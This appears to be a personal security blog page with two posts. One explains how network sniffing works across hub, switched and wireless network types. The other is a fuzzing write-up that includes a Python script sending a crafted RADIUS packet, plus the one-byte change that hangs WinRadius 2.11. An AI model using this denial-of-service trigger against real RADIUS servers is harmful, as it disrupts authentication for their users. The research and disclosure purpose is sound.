Sniffing the Network

December 14th, 2014

This article is intended to provide a simple demonstration of how easy it is to sniff/intercept traffic on various types of networks, and serve as a warning to utilize secure methods of communication on a) untrusted networks and b) known networks with the potential for untrusted clients or administrators.

The first consideration is the topology of the network we’re connected to. To consider 5 common scenarios:

  1. Wired ethernet hub network: Hubs are becoming more and more obsolete as they are changed to switches. Multiple devices can be connected to a hub, and any data received by the hub from one device is broadcast out to all other devices. This means that all devices receive all network traffic. Not only is this an inefficient use of bandwidth, but each device is trusted to accept traffic destined for itself and to ignore traffic destined for another node. To sniff such a network, a node simply needs to switch it’s network interface card to “promiscuous mode”, meaning that it accepts all traffic received.
  2. Wired ethernet switched network: Multiple devices can be connected to a switch, however a switch has greater intelligence than a hub. The switch will inspect the traffic sent on each port, and learn the hardware (MAC) address of the client connected to a particular port. Once learned, the switch will inspect any frames it receives on a port, and forward that frame to the known recipient’s port alone. Other devices connected to the switch will not receive traffic that is not destined for them. This offers enhanced bandwidth usage over a hub. Switches rely on ARP packets which are easily forged in order to learn which devices are on which ports.
  3. Wireless open networks: Multiple devices can connect to an open wireless network. All data is broadcast across the network in plain text, and any attacker can sniff/intercept traffic being broadcast across the network. An open wireless network may present the user with a form of hotspot login page before granting internet access, however this does not detract from the network itself being open.
  4. WEP encrypted wireless network: A WEP encrypted network requires a WEP key to encrypt and decrypt network traffic. WEP has long been an outdated and insecure method of wireless network protection, and cracking a wireless network’s WEP key is fast and requires low skill. WEP is not secure. In addition, all clients connected to the network use the same WEP key to connect. That results in any user on the network with the WEP key being table to view any traffic transmitted to and from other nodes on the network.
  5. WPA/WPA2 encrypted network: A WPA/WPA2 encrypted network is significantly more secure than a WEP network. Whilst attacks exist on parts of the protocol, and extensions such as WPS, no known attack is able to recover a complex WPA/WPA2 password within an acceptable period of time. Whilst all clients connect to the network with the same password, the protocol is engineered to create different keystreams between each connected client and the access point. This means that simple sniffing in the traditional sense is not possible on the network.

Read the rest of this entry »

Fuzz to Denial of Service: WinRadius 2.11

June 10th, 2013

I set some time aside to test WinRadius yesterday. Fuzzing was done manually and using a Python script. I didn’t spend too much time on it, but I’m confident that there’s a remote code execution opportunity here. If no one else gets there first, I’ll revisit it in a few weeks.

Firstly, to ensure that our setup is good and to catch a packet, we can use ‘radclient’. I set up a user account adam/adam for testing purposes and then tried to authenticate:

Radius Client Test

Radius Client Test

radclient will form a RADIUS request from our STDIN data

Wireshark Capture

Wireshark Capture

We capture the packet we sent and the response

WinRadius 2.11

WinRadius 2.11

And we confirm that WinRadius received and accepted the request. Once this was done, we needed to create a template within Python, and did so as follows:

#!/usr/bin/python

from socket import *
import sys
import select

pwn =  "\x01" #Code 01
pwn += "\xff" #packet identifier
pwn += "\x00\x2c" #len 44
pwn += "\xd1\x56\x8a\x38\xfb\xea\x4a\x40\xb7\x8a\xa2\x7a\x8f\x3e\xae\x23" #authenticator
pwn += "\x01" #t=User-Name(1)
pwn += "\x06" #avp: l=6
pwn += "\x61\x64\x61\x6d" #adam

pwn += "\x02" #avp t=User-Password(2)
pwn += "\x12" #avp: l=18
pwn += "\xf0\x13\x57\x7e\x48\x1e\x55\xaa\x7d\x29\x6d\x7a\x88\x18\x89\x21" #password (encrypted)

address = ('192.168.200.20', 1812)
server_socket = socket(AF_INET, SOCK_DGRAM)

server_socket.sendto(pwn, address)

We can now replay this packet as we wish, and confirm through Wireshark and WinRadius that all is good and we are being authenticated. The next challenge was to start manually mangling data. After about 15 minutes of trial and error, I found that changing line 16 from \x12 to \xff caused the application to consume all CPU available and hang indefinitely. I couldn’t cause a crash although with a bit more trial and error, as well as trying different Radius requests such as start/stop accounting, etc, I’d be surprised if there wasn’t a RCE somewhere here.

WinRadius DoS Code

WinRadius DoS Code


WinRadius Crash

WinRadius Crash

The application now hangs.